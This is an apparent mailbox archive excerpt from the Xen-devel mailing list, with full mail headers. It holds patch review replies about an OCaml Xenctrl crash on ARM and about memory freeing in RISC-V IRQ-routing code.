 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a69eab2-5cb7-0a2a0a5109dd-0a2a4504b24c-36
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:57:49 +0200
Received: from [52.101.193.62]
 (helo=CH1PR05CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a69eaba-b57f-0a2a45040019-3465c13e88b9-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:57:48 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by DS7PR03MB8094.namprd03.prod.outlook.com (2603:10b6:8:252::18) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 11:57:43 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Wed, 29 Jul 2026
 11:57:43 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=nRRKIyZOdLxxJFODuAo1hMadX1EsCJfw8CNAn17FPYyjGOFhIHm5Pj9vbu366T9/NU+dZ0uJWL/NYuSoW0oRK4fPPR+HECOYZPV5DgTreJLdt5NSJ0IqjjKk+zEg7dA/m+mSd5nD8TWqRkx7C3LILZykfGO2ez/H2sNTkX1DsUjVBRqWU9zVlmtU901RviASfLfaRxaxFnM5atRKVnTxKcRJGsqU20iUPRFH7E+OYncrxeJrC0F953hdc/cgU2nfsP3ylQpK/6qRR03si0lKq3xsNcJRJsx/zD5fqJBXr5tlc/A7YdqsgJoC9cpCZziLT0K4cd2fIFjYdWKcQLOnOw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=9xmDQakv2nGiAKfN5UkGXPrLg4/XKwX+de6GNTKtdJU=;
 b=RcNDXZCtYZdQocKDjH7tWNZEoP4EhSV2gJ7yCN5ZSCAXUa0c+j34dckYgD4oKjU6LWo985g2Un98GOPGUPgMmwSxR1gpcOTvfBewUkSNyKSEgtXEccKIE5omWPYSDAEmqWUjMK1eLmD8zeoHFjNBFQ5Pkdb+LM+fUr1lHO+7TgocW4BZUotYzmUfxiLV9X67dRgOUQQyQeKA9KgOOqtEDcwDGUmbci17Rev6NqyCCghkIAuhGScvkEc/Tz0ogwtLyf4L81aBvfOrcsfbfIiKkslUzPekihdvkwqFdblPkfnt1k/RHatexbGDgNbI9+N54ac28dKkarrv62pcWov96A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=9xmDQakv2nGiAKfN5UkGXPrLg4/XKwX+de6GNTKtdJU=;
 b=pT7lqAhCgdHtgt9VLTPAQ/mhEECi5K6r2yIAQtt/7X093e33YmPa4yYc2adFMUhA7y+HofJXeUOIsJkWWhp4Wqib6gAzXMB6IhJ6OifWJNjooAlZ5ukRuF7g5tz7dDAbEiNrBoHeQOvcTAlu1YZavi30xEqJLyB6qpFbq+CpDsg=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <58778d19-4000-4cde-bbb3-e59855bccd2a@citrix.com>
Date: Wed, 29 Jul 2026 12:57:40 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Julian Vetter <julian.vetter@vates.tech>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Re: [PATCH 1/2] tools/ocaml: Fix crash in
 Xenctrl.domain_getinfo{,list} on ARM
To: Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-2-andrew.cooper3@citrix.com>
 <1785325606.8631fc262581453bbf619ec5b2062170.19fadb2d454000e099@vates.tech>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJU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aL9xXedMcAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <1785325606.8631fc262581453bbf619ec5b2062170.19fadb2d454000e099@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P265CA0299.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:391::17) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|DS7PR03MB8094:EE_
X-MS-Office365-Filtering-Correlation-Id: 3972be7b-65c9-4908-2f9b-08deed68992b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|366016|1800799024|23010399003|18002099003|22082099003|56012099006|11063799006|4143699003|10067099003;
X-Microsoft-Antispam-Message-Info:
	6NEk0JWqtkpEyZlcT+55MHhmWLWM05xeOVwfFRlaTT41Oy4Qii138AgpIPkZN1TOytCLnOzM/xfdKvxh3Gs8Vwf/d4dcUDxMznH3MO1wIdhYNruK/h40K9VJ8N+uZZAYiYHu9BBJRKGU+boYEbUgFo+7kRrFLvGKbDdylbWwd0IsszsGGlfAAa5bFxmDsygkqGa/QjsKCDwsQjDV0/18THGm4rTp+l4XgM4bo6CfFfabmfbs59dtUmw+HypBGXNG7d/cd49hjj7WoESrFO0zFLwM++t9FL5WeCoeivary1rdF1YxTI1xO5wVfoZ5gfsQazfDeQb8uYc0v6/yjAM24mow7vbHjeeAcSiNZzslPuJNrPGepNRnf6JsNzLyzMVvBdRIDfF1sHIqDv0IAVCASx80O2DsamSDt2pw4mJaOcssXBpXosI3dRE2bjLTcqnx+DxyP9SrC6gPSut6xcj+0Sg/KSYBSkHdDZTc+YNFOdxnCwCy4yVpP//a2UKQIIc8l17/eAdaU3dt2Igir+qWNFFu05repbW1KL/UIeaeNsrXwFm3Oaj+D9lbsCSkdOxWhUCTuXKl24QZXMa1VYbto5DueZt6EPN55JIMcLDAxib5bi/OO4JOh4YOSEqQ5WA9OdzK9Y5Eq9b+6bub3Z6+QSwTDRF+EZKMjswcIkCmmVU=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(1800799024)(23010399003)(18002099003)(22082099003)(56012099006)(11063799006)(4143699003)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam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BYdmVx?=
 =?utf-8?B?YXVSYURHSG1vSTlqZ0NmeGJtemF5akg4THA4R0RLZnQzdU00Q0x4WHhMV2lR?=
 =?utf-8?B?ODlEbi9jaXZaTnFZOTQzTmVieXcxYkxDQXBNaG9XdStZdUJKMHZzRTNCNHdU?=
 =?utf-8?B?TWpTR3dmN1pSWUZrQ2t1Z2ZvRmVNTGpITUZ4Mm0vbWMzeEdlSlVUS1QwKytN?=
 =?utf-8?B?aXhpWWhHS25oQlpQblhDd1U0LzBkcXhwRGYyOURKSU9RK25lZmYvNGQ0dlZK?=
 =?utf-8?B?dTVvV1ZtK2I5ZVlkd2g2ZFhTRXlDMWp2UDNoRjhPQndvTHJJN0VXMWxieFVE?=
 =?utf-8?B?UmNjWlh2R1FINlVJUnNhZDFCdFN4T1hJVWJCSXN2U1Z3SDFadDRqZGQ2Z0k2?=
 =?utf-8?B?M0laaTZialgrTFFxWHRDS1gzMnZHL0lCRlVzL2d4Yko1VnhsdEx3RmZwK3BN?=
 =?utf-8?B?TFlzdmExZnVuQldyN01LNHM1bCtOczE1aDUwZ1ZwNWtxdUZpRXk4N2w5TzNG?=
 =?utf-8?B?Wlk5K0RUMTczOCtpV3REMGM4Nlg3eWx3d3N1OFdnKzh4NUM1N04zRExZV3Bo?=
 =?utf-8?B?ejRaRzl3R0FPYXpjRW94TUx3WGM4YzlpVUp6T0o0blB0THNrMFppQUtvYlEy?=
 =?utf-8?B?WVBvcWh5K1Z3STdKV09GU3VYMUpBQ25EQ0pLT2MxWk85a05YMXQvRCtNb2Vp?=
 =?utf-8?Q?dpowrAGdUuTPYddw=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 3972be7b-65c9-4908-2f9b-08deed68992b
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 11:57:43.6864
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: ts2D2b65wj9vHzC8Pb+t9P3p7+qilMFFu6SB9KDzI75HRuM9v78N4nD0ImbplX53HW7pTWocTP4R9bCErIdLMM3M8EuGr4N+wcDAAeIH3ew=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS7PR03MB8094
X-purgate-ID: tlsNG-ebf023/1785326269-522D4B50-BE3F005A/0/0
X-purgate-type: clean
X-purgate-size: 1877

On 29/07/2026 12:46 pm, Teddy Astie wrote:
> Le 28/07/2026 Ã  17:49, Andrew Cooper a Ã©critÂ :
>> The Store_field(result, 16, arch_config) sits inside an ifdef x86,
>> meaning
>> that on other archtiectures the pointer is not filled in.Â  The Ocaml
>> runtime
>> then falls over a NULL pointer (really the Val_unit used to initialise
>> 'result') when the layout in the heap doesn't match the type system.
>>
>> Rearrange alloc_domaininfo() to avoid this.Â  Similarly to
>> physinfo_arch_caps(), raise an exception if the architecture code hasn't
>> filled in an appropriate tag.Â  Move the setup of arch_domainconfig to be
>> common logic.
>>
>> In order to simplify the addition of other architectures, remove the
>> arch_config variable (resuing tmp as it's touched exactly once), and
>> rename
>> x86_arch_config to be arch_config so each architecture can fill in a
>> suitable
>> one without needing more local variables.
>>
>> Reported-by: Julian Vetter <julian.vetter@vates.tech>
>> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
>
> Reviewed-by: Teddy Astie <teddy.astie@vates.tech>Â 

Thanks.

> I guess that requires the OCaml user side to be appropriately patched
> to not get data in the wrong order ?

I don't quite understand the question.Â  There are no changes needed to
the OCaml side.Â  The problem is that this piece of C is not producing an
object that the type system describes.

Prior to this patch, Xenctrl.domain_getinfo on ARM produces a malformed
object with a missing (NULL-ish) interior pointer.Â  Attempts to
interpret this object in Ocaml code segfault.

With this patch, Xenctrl.domain_getinfo on ARM will unconditionally
raise Failure.Â  Ocaml code won't segfault, but the overall behaviour
isn't helpful.

With patch 2, Xenctrl.domain_getinfo on ARM gets you back a good object.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:59:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:59:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375604.1622735 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2wH-0006rn-24; Wed, 29 Jul 2026 11:59:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375604.1622735; Wed, 29 Jul 2026 11:59:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2wG-0006rg-VL; Wed, 29 Jul 2026 11:59:08 +0000
Received: by outflank-mailman (input) for mailman id 1375604;
 Wed, 29 Jul 2026 11:59:06 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp2wE-0006rX-NS
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:59:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp2wE-005j0Q-42
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:59:06 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a69eaf8-bab6-0a2a0a5309dd-0a2a4504bd2a-26
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:59:06 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a69eb09-b57f-0a2a45040019-d1558036a866-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:59:06 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-49550ec592cso12942675e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 04:59:06 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c4625161sm145986965e9.14.2026.07.29.04.59.04
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 04:59:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785326345; x=1785931145; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Quyvk3M2oF8BN6QVIFqXQiEzaipUG1/2p96Odu38AkQ=;
        b=opmEk2zEFYsQoJlnML45WJvUHtPygo7VR4FeLrk4BopeSWQLTCxoaMWJ4kYhv+XoUs
         c0jUp+31EH2rjo8BQ3RbpDKsxGoTzmk9Pku8r+5z7F78X0llOOe64lfxM/NamG4LUhBH
         GTjJcLGKwF3ZhlkJky29ljr1E0NxBmntyEXmjD1og//AfrAhl3mcE3Q/ue2Sl+D71Pju
         tnkFny6d/sVb6fOgqf4Afpine9e6i3BS5CRHnQ/lQlGo3TfdFgGU7pJukC2OG6HHXiG0
         FIQM+BTrqA8Nemjedomgt43kCirHlNllsa1tNSOO96o9/Il5gP6SA+F04pqF8lr9/9M4
         fSww==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785326345; x=1785931145;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Quyvk3M2oF8BN6QVIFqXQiEzaipUG1/2p96Odu38AkQ=;
        b=FPcTTdgnOgaCMBcFJ78bQrgMUUZMBshVRa7yxbUQCEsijbcWsMdq0rZSqtJ/WUFhvu
         JCdpDvsBADtMOnSBAjsHo/5s0YlB6/TOTsEgmZ1QOFahHf8MQ/cW0VJ+P+VdwanqolSK
         KE5an/8gS8YRM15daY/IybYeMw6R5eb/ojV8KwpPiwMlvhAPAIFEKEEG7G7T8CJqM7m5
         dUbXJ9idhcpc27w4XKl636qBK033sWekbvDIUKS0oDUiOzHUTRDoEB0nR7/Aajs7Q9uX
         Wiqyqa4GaQc5mIqb2ecDQDznj3Dv0YDxwhb27YNX7sWHb8EVvEJh9RBxQgFHzu8qcQ2m
         Q/ZQ==
X-Forwarded-Encrypted: i=1; AHgh+RokRhtxWhw6DPAxv45V/MA3no5Lfd/g+R5S9eGzI4BtIb6RNnfobysPdT3MLikhXcpm2A2VX0xBhG4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyKMlG+Vg67OnRXoUvAfuT5PCufaG2V34kmYSkc6DCzh/ZTCQ7K
	Eam38j4COs8M9QRW/OaOHlG2csZfCK8YbI0HaDXieGZ9GfZ+02/jcimc
X-Gm-Gg: AR+sD12GKvUewODxWygfriCvClI0JIf30QBTXaORfjA9QVZG+LkFgOgxrMudwoSouRd
	EQnuL5caVuvZWWxdnbFyaxglyXIUWopVps/NgDmW6ptQXUMROpV1v3fkHAEFV1dEp2yOCf8UMTg
	+ehlIwC3v+rZYy2UV/eDEfZTFEpKMC4LKW++Zkh77NPHcTDU3VDxn0xYjvl32OIflMQuUQZC98F
	R8rnjy7K67mDOW/yeggq+SyjYGL13MsCmJxC69z87QvI69y8S2Rwn7+wajFF/axoyHTJSOWZibO
	XUuYzAPALmnCQdsP/Ri0hpI9xOu14UIpU4PSh5LI6FQ9dCRwx5GDzBGgEQZcclEUU/ZA5PhvBZ9
	43pCXKweF6X+XBT5cqY7z4k2eBrKUh+3QOsd4P0s3F1lF46oNRPMPJLonkdNM31fxw65QgiqS2k
	P3Clccb1B/51uQr+kUCzZrSdKoG1Dg4NtL62rdFepVmlGFynoQ5tmKriYkpymwYavpBw/q52Ehg
	YJMJ+jZTyYs48RCPjNsWeZ633d0tnoVHQkbbAENDfQ=
X-Received: by 2002:a05:600c:1548:b0:495:5d6d:9cc1 with SMTP id 5b1f17b1804b1-497fd298f87mr24643955e9.0.1785326345470;
        Wed, 29 Jul 2026 04:59:05 -0700 (PDT)
Message-ID: <6cebc63c-2f21-4ef8-ab10-e2ec62f887b7@gmail.com>
Date: Wed, 29 Jul 2026 13:59:04 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 18/23] xen/riscv: implement IRQ routing for device
 passthrough
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <c489a420b1c01c5312773c2e2b51f63d3babf855.1784559209.git.oleksii.kurochko@gmail.com>
 <c64fc958-73bb-44ed-a3b2-dc368ce675ac@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <c64fc958-73bb-44ed-a3b2-dc368ce675ac@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1785326346-C3AC0B50-333FA057/10/73395122804
X-purgate-type: spam
X-purgate-size: 4716



On 7/23/26 3:30 PM, Jan Beulich wrote:
> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>> +/* Route an IRQ to a specific guest */
>> +int route_irq_to_guest(struct domain *d, unsigned int virq,
>> +                       unsigned int irq, const char *devname)
>> +{
>> +    struct irqaction *action;
>> +    struct irq_guest *info;
>> +    struct irq_desc *desc;
>> +    unsigned long flags;
>> +    int retval = 0;
>> +
>> +    if ( d->is_dying )
>> +        return -EINVAL;
>> +
>> +    desc = irq_to_desc(irq);
>> +
>> +    /*
>> +     * release_irq() frees this action via xvfree(), relying on action
>> +     * being the first member of struct irq_guest so that &info->action
>> +     * coincides with info itself. Guard the layout so a future field
>> +     * reorder can't silently turn that into a free() of a mid-allocation
>> +     * pointer.
>> +     */
>> +    BUILD_BUG_ON(offsetof(struct irq_guest, action) != 0);
> 
> Can't release_irq() simply use container_of()? One way or another it feels
> like you're painting yourself into a particular corner ...

If it isn't the best option then it is needed to follow they way we had 
before:

-/*
- * Describe an IRQ assigned to a guest.
- *
- * The irqaction is embedded here (rather than allocated separately with
- * its dev_id pointing at a standalone struct irq_guest) so that freeing
- * the action in release_irq() also frees this whole structure in one go.
- * That avoids the alternative of release_irq()'s caller having to free
- * dev_id itself (something like in Arm release_guest_irq()).
- */
+/* Describe an IRQ assigned to a guest */
  struct irq_guest
  {
-    struct irqaction action;
      struct domain *d;
      unsigned int virq;
  };
@@ -263,7 +254,6 @@ static struct irq_guest *irq_get_guest_info(struct 
irq_desc *desc)
      return desc->action->dev_id;
  }

-
  void release_irq(unsigned int irq, const void *dev_id)
  {
      struct irq_desc *desc;
@@ -361,6 +351,7 @@ int release_guest_irq(struct domain *d, unsigned int 
virq)
      spin_unlock_irqrestore(&desc->lock, flags);

      release_irq(desc->irq, info);
+    xvfree(info);

      return 0;

@@ -384,23 +375,20 @@ int route_irq_to_guest(struct domain *d, unsigned 
int virq,

      desc = irq_to_desc(irq);

-    /*
-     * release_irq() frees this action via xvfree(), relying on action
-     * being the first member of struct irq_guest so that &info->action
-     * coincides with info itself. Guard the layout so a future field
-     * reorder can't silently turn that into a free() of a mid-allocation
-     * pointer.
-     */
-    BUILD_BUG_ON(offsetof(struct irq_guest, action) != 0);
+    action = xvmalloc(struct irqaction);
+    if ( !action )
+        return -ENOMEM;

      info = xvmalloc(struct irq_guest);
      if ( !info )
+    {
+        xvfree(action);
          return -ENOMEM;
+    }

      info->d = d;
      info->virq = virq;

-    action = &info->action;
      action->dev_id = info;
      action->name = devname;
      action->free_on_release = true;
@@ -454,13 +442,15 @@ int route_irq_to_guest(struct domain *d, unsigned 
int virq,
      if ( retval )
      {
          release_irq(desc->irq, info);
-        return retval;
+        goto free_info;
      }

      return 0;

   out:
      spin_unlock_irqrestore(&desc->lock, flags);
+    xvfree(action);
+ free_info:
      xvfree(info);

      return retval;

I see an an item in changelog which meniotned that:
```
Drop xfree(info) from release_guest_irq() to avoid a potential
dangling-pointer issue with the ->dev_id field. Now that
struct irqaction action;' is embedded into 'struct irq_guest',
'info' will be freed as part of release_irq() at the end.
```

But it seems I don't see now why it will be dangled-pointer here as
info is referenced by exactly one pointer, action->dev_id, and nothing 
caches it: the only reader, irq_get_guest_info(), dereferences 
desc->action->dev_id under desc->lock and doesn't outlive the critical 
section. xvfree(info) only ever runs after release_irq() has unlinked 
the action from desc->action under the lock and waited for 
_IRQ_INPROGRESS to clear, so by then no CPU can reach ->dev_id. A 
concurrent release_guest_irq() for the same IRQ is excluded by clearing 
_IRQ_GUEST under desc->lock, and live unrouting of a running domain is 
rejected with -EBUSY. In the error paths, out: frees an action 
_setup_irq() never installed, and the intc_route_irq_to_guest() failure 
path calls release_irq() before freeing info.

So it seems like it is safe to use what we had in v4.

Any concerns?

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 12:07:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 12:07:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375645.1622764 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp344-0000o7-Me; Wed, 29 Jul 2026 12:07:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375645.1622764; Wed, 29 Jul 2026 12:07:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp344-0000nw-IW; Wed, 29 Jul 2026 12:07:12 +0000
Received: by outflank-mailman (input) for mailman id 1375645;
 Wed, 29 Jul 2026 12:07:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wp342-0000mb-T5
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 12:07:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp342-00HPjJ-9q
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 14:07:10 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a69ece9-5cb7-0a2a0a5109dd-0a2a450be72a-24
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:07:10 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a69eced-b7e8-0a2a450b0019-c387df82a262-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 14:07:10 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 914737CACE;
 Wed, 29 Jul 2026 12:07:01 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 645B1779A1;
 Wed, 29 Jul 2026 12:07:01 +0000 (UTC)
